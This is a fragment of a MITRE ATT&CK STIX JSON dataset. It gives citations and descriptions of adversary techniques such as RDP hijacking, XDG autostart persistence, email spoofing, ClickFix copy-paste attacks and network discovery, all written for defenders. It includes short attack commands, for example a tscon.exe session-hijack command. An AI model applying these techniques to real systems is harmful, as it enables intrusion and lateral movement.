                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.",
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                    "url": "https://attack.mitre.org/techniques/T1059/005",
                    "external_id": "T1059.005"
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                {
                    "source_name": "VB .NET Mar 2020",
                    "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.",
                    "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"
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                    "source_name": "Default VBS macros Blocking ",
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                    "source_name": "Microsoft VBScript",
                    "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.",
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                    "source_name": "Microsoft VBA",
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                    "url": "https://docs.microsoft.com/office/vba/api/overview/"
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                    "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.",
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            "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )",
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                    "source_name": "FireEye Bootkits",
                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
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                {
                    "source_name": "ESET ComRAT May 2020",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
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                    "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.",
                    "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html"
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                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
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                    "url": "https://attack.mitre.org/techniques/T1543/002",
                    "external_id": "T1543.002"
                },
                {
                    "source_name": "airwalk backdoor unix systems",
                    "description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.",
                    "url": "http://www.ouah.org/backdoors.html"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
                },
                {
                    "source_name": "freedesktop systemd.service",
                    "description": "Free Desktop. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 20, 2023.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
                },
                {
                    "source_name": "Pepe Berba Systemd 2022",
                    "description": "Pepe Berba. (2022, February 7). Hunting for Persistence in Linux (Part 5): Systemd Generators. Retrieved April 8, 2025.",
                    "url": "https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"
                },
                {
                    "source_name": "Berba hunting linux systemd",
                    "description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.",
                    "url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
                },
                {
                    "source_name": "Elastic Security Labs Linux Persistence 2024",
                    "description": "Ruben Groenewoud. (2024, August 20). Linux Detection Engineering -  A primer on persistence mechanisms. Retrieved March 18, 2025.",
                    "url": "https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"
                },
                {
                    "source_name": "lambert systemd 2022",
                    "description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.",
                    "url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"
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            "created": "2025-01-31T15:22:39.317Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1668",
                    "external_id": "T1668"
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                {
                    "source_name": "aquasec-postgres-processes",
                    "description": "Assaf Morag. (2024, August 19). PG_MEM: A Malware Hidden in the Postgres Processes. Retrieved January 31, 2025.",
                    "url": "https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/"
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                {
                    "source_name": "CERT AT Fortinent Ransomware 2025",
                    "description": "CERT Austria. (2025, March 20). Ransomware-Gruppen nutzen weiterhin kritische Fortinet-Schwachstellen - Warnung vor gepatchten, aber bereits kompromittierten Ger\u00e4ten. Retrieved March 31, 2025.",
                    "url": "https://www.cert.at/de/warnungen/2025/3/ransomware-gruppen-nutzen-weiterhin-kritische-fortinet-schwachstellen-warnung-vor-gepatchten-aber-bereits-kompromittierten-geraten"
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                    "source_name": "fsecure-netsky",
                    "description": "F-Secure. (2004). Worm:W32/NetSky.H. Retrieved January 31, 2025.",
                    "url": "https://www.f-secure.com/v-descs/netsky-h.shtml"
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                {
                    "source_name": "sophos-multiple-attackers",
                    "description": "Matt Wixey. (2022, August 9). Multiple attackers increase pressure on victims, complicate incident response. Retrieved January 31, 2025.",
                    "url": "https://news.sophos.com/en-us/2022/08/09/multiple-attackers-increase-pressure-on-victims-complicate-incident-response/#:~:text=While%20some%20threat%20actors%20are%20interdependent%20%28e.g.%2C%20IABs,vulnerabilities%20or%20disabling%20vulnerable%20services%20after%20gaining%20access"
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                {
                    "source_name": "Mandiant-iab-control",
                    "description": "Michael Raggi, Adam Aprahamian, Dan Kelly, Mathew Potaczek, Marcin Siedlarz, Austin Larsen. (2024, March 21). Bringing Access Back \u2014 Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect. Retrieved January 31, 2025.",
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            "type": "attack-pattern",
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            "created": "2020-02-25T18:35:42.765Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563/002",
                    "external_id": "T1563.002"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
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                {
                    "source_name": "RDP Hijacking Korznikov",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Kali Redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "url": "https://github.com/nccgroup/redsnarf"
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            "name": "RDP Hijacking",
            "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136",
                    "external_id": "T1136"
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                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                },
                {
                    "source_name": "Symantec WastedLocker June 2020",
                    "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"
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            "name": "Create Account",
            "description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
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            "created": "2019-09-10T18:13:12.195Z",
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                    "url": "https://attack.mitre.org/techniques/T1547/013",
                    "external_id": "T1547.013"
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                {
                    "source_name": "Free Desktop Application Autostart Feb 2006",
                    "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
                    "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"
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                {
                    "source_name": "Free Desktop Entry Keys",
                    "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved November 17, 2024.",
                    "url": "https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html"
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                {
                    "source_name": "Red Canary Netwire Linux 2022",
                    "description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
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            "name": "XDG Autostart Entries",
            "description": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)",
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            "created": "2020-10-01T00:56:25.135Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1584/004",
                    "external_id": "T1584.004"
                },
                {
                    "source_name": "TrendMicro EarthLusca 2022",
                    "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.",
                    "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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            "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.",
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            "created": "2025-03-24T16:52:14.061Z",
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                    "url": "https://attack.mitre.org/techniques/T1672",
                    "external_id": "T1672"
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                {
                    "source_name": "Cloudflare DMARC, DKIM, and SPF",
                    "description": "Cloudflare. (n.d.). What are DMARC, DKIM, and SPF?. Retrieved April 8, 2025.",
                    "url": "https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/"
                },
                {
                    "source_name": "DMARC-overview",
                    "description": "DMARC. (n.d.). Retrieved March 24, 2025.",
                    "url": "https://dmarc.org/overview"
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                {
                    "source_name": "ic3-dprk",
                    "description": "FBI, State Department, NSA. (2024, May 2). North Korean Actors Exploit Weak DMARC Security Policies to Mask Spearphishing Efforts. Retrieved April 2, 2025.",
                    "url": "https://www.ic3.gov/CSA/2024/240502.pdf"
                },
                {
                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                },
                {
                    "source_name": "Proofpoint-DMARC",
                    "description": "Proofpoint. (n.d.). Retrieved March 24, 2025.",
                    "url": "https://www.proofpoint.com/us/threat-reference/dmarc"
                },
                {
                    "source_name": "Barnea DirectSend",
                    "description": "Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365\u2019s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.",
                    "url": "https://www.varonis.com/blog/direct-send-exploit"
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            "name": "Email Spoofing",
            "description": "Adversaries may fake, or spoof, a sender\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \n\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)\n\nAdversaries may abuse Microsoft 365\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)",
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                    "external_id": "T1526"
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                    "source_name": "Azure AD Graph API",
                    "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"
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                    "source_name": "Azure - Resource Manager API",
                    "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/resources/"
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                {
                    "source_name": "Azure - Stormspotter",
                    "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.",
                    "url": "https://github.com/Azure/Stormspotter"
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                {
                    "source_name": "GitHub Pacu",
                    "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
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            "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685) or [Disable or Modify Cloud Log](https://attack.mitre.org/techniques/T1685/002).",
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                {
                    "source_name": "AhnLab Malicioys Copy Paste 2024",
                    "description": "AhnLab SEcurity intelligence Center. (2024, May 23). Warning Against Phishing Emails Prompting Execution of Commands via Paste (CTRL+V). Retrieved April 23, 2025.",
                    "url": "https://asec.ahnlab.com/en/73952/"
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                {
                    "source_name": "AhnLab LummaC2 2025",
                    "description": "AhnLab SEcurity intelligence Center. (2025, January 8). Infostealer LummaC2 Spreading Through Fake CAPTCHA Verification Page. Retrieved April 23, 2025.",
                    "url": "https://asec.ahnlab.com/en/85699/"
                },
                {
                    "source_name": "Reliaquest CAPTCHA 2024",
                    "description": "Alex Capraro. (2024, December 17). Using CAPTCHA for Compromise: Hackers Flip the Script. Retrieved March 18, 2025.",
                    "url": "https://www.reliaquest.com/blog/using-captcha-for-compromise/"
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                {
                    "source_name": "Sekoia ClickFake 2025",
                    "description": "Amaury G., Coline Chavane, Felix Aim\u00e9 and Sekoia TDR. (2025, March 31). From Contagious to ClickFake Interview: Lazarus leveraging the ClickFix tactic. Retrieved April 1, 2025.",
                    "url": "https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/"
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                {
                    "source_name": "CloudSEK Lumma Stealer 2024",
                    "description": "CloudSEK TRIAD. (2024, September 19). Unmasking the Danger: Lumma Stealer Malware Exploits Fake CAPTCHA Pages. Retrieved March 18, 2025.",
                    "url": "https://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages"
                },
                {
                    "source_name": "Proofpoint ClickFix 2024",
                    "description": "Tommy Madjar, Selena Larson and The Proofpoint Threat Research Team. (2024, November 18). Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape. Retrieved March 18, 2025.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape"
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            "name": "Malicious Copy and Paste",
            "description": "An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions\u2014such as prompts to fix errors or complete CAPTCHAs\u2014that instead instruct the user to copy and paste malicious code.\n\nMalicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)\n\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\n\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. ",
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                    "external_id": "CAPEC-649"
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                    "source_name": "Mac Backdoors are back",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
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            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
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                    "external_id": "T1018"
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                {
                    "source_name": "CISA AR21-126A FIVEHANDS May 2021",
                    "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
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                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
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                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
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            "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097), <code>net view</code> using [Net](https://attack.mitre.org/software/S0039), or, on ESXi servers, `esxcli network diag ping`.\n\nAdversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)  \n",
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                {
                    "source_name": "apple doco bonjour description",
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                {
                    "source_name": "CISA AR21-126A FIVEHANDS May 2021",
                    "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
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                {
                    "source_name": "macOS APT Activity Bradley",
                    "description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.",
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            "name": "Network Service Discovery",
            "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)",
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                    "source_name": "Circl Passive DNS",
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                {
                    "source_name": "Azure Active Directory Reconnaisance",
                    "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
                    "url": "https://o365blog.com/post/just-looking/"
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                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "Office 265 Azure Domain Availability",
                    "description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
                }
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            "modified": "2025-10-24T17:49:31.581Z",
            "name": "Domain Properties",
            "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
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                    "phase_name": "reconnaissance"
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            "name": "Software Discovery",
            "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
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                    "external_id": "T1538"
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                    "source_name": "AWS Console Sign-in Events",
                    "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.",
                    "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"
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                {
                    "source_name": "Google Command Center Dashboard",
                    "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.",
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            "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.",
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                    "source_name": "FireEye TLS Nov 2017",
